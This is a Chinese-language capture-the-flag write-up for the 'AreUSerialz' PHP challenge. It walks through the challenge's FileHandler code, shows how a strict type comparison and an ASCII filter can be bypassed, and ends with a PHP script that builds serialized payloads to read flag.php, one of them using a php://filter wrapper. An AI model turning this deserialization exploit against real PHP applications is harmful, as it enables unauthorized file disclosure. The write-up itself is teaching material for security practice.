[网鼎杯 2020 青龙组]AreUSerialz
对整个代码进行审计之后,其实很明显的,在代码的最后一部分中传入str参数后,对字符串进行反序列化操作。
这里需要注意的关键点是,if($this->op === "2") 对op的判断用的是===,三个等号强类型比较。我们可以通过传入一个数字2来绕过这个判断。
//魔术方法 destruct() 在结束时销毁对象调用 function __destruct() { //判断op的值,如果op的值为2,就让op值为1,并设置$content值为空串,调用process() if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
可以确定的是,我们这里需要通过read()方法读取flag.php,在文件的开头就有通过include(flag.php)包含到该文件。因此呢,我们需要给$op传入的值为2
read()方法就像对简单了,只要求$filename不为空,就通过file_get_contents()方法去取文件,也正是由此读取flag.php。
public function process() { //如果 op=1 就调用write()方法 //如果 op=2 就给$res赋值为read()方法执行结果,并调用输出方法输出$res //否则就输出hacker if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } //自定义方法read() private function read() { //先设置$res为空字符串 $res = ""; //判断$filename是否为空,不为空就读取文件,将读出来的字符串存放在$res中 if(isset($this->filename)) { $res = file_get_contents($this->filename); } //返回$res return $res; }
看一下这个自定义方法,这部分通过代for循环对传进来的参数的每一位进行判断,要求其每一位的ascii值必须在32-125之间,为什么会强调这里呢?是因为这个FileHandler类中的变量全部都是protected的,在对其对象进行序列化时,protected权限的属性会在属性名前加上%00*%00来表示这个权限,而%00的ascii码为0,就无法通过is_valid()方法的检验。
对于这种情况,有几种绕过的方法,其中简单的一种就是,php7.1+版本对属性的类型不敏感,因此在本地序列化时,可以将其属性改成public的就可以绕过。
//自定义方法 is_valid function is_valid($s) { //要求传入的参数$s的每一位的ascii值必须在32-125之间,空格----} for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
最后呢,附上本地的序列化payload
这里filename给了两种不同的值,
其一,是直接传入文件的名字,通过read()方法,将文件以字符串形式读取。
其二,因为file_get_contents()是支持php伪协议的,所以传入filter的伪协议,将flag.php的源码以base64的形式读取出来。
<?php class FileHandler { public $op; public $filename; public $content; function __construct($op,$filename,$content) { $this->op=$op; $this->filename=$filename; $this->content=$content; } } $a = new FileHandler(2,'flag.php',''); $b = new FileHandler(2,'php://filter/read=convert.base64-encode/resource=flag.php',''); echo serialize($a); echo "<br>"; echo serialize($b);
你还年轻,可以成为你想成为的任何人。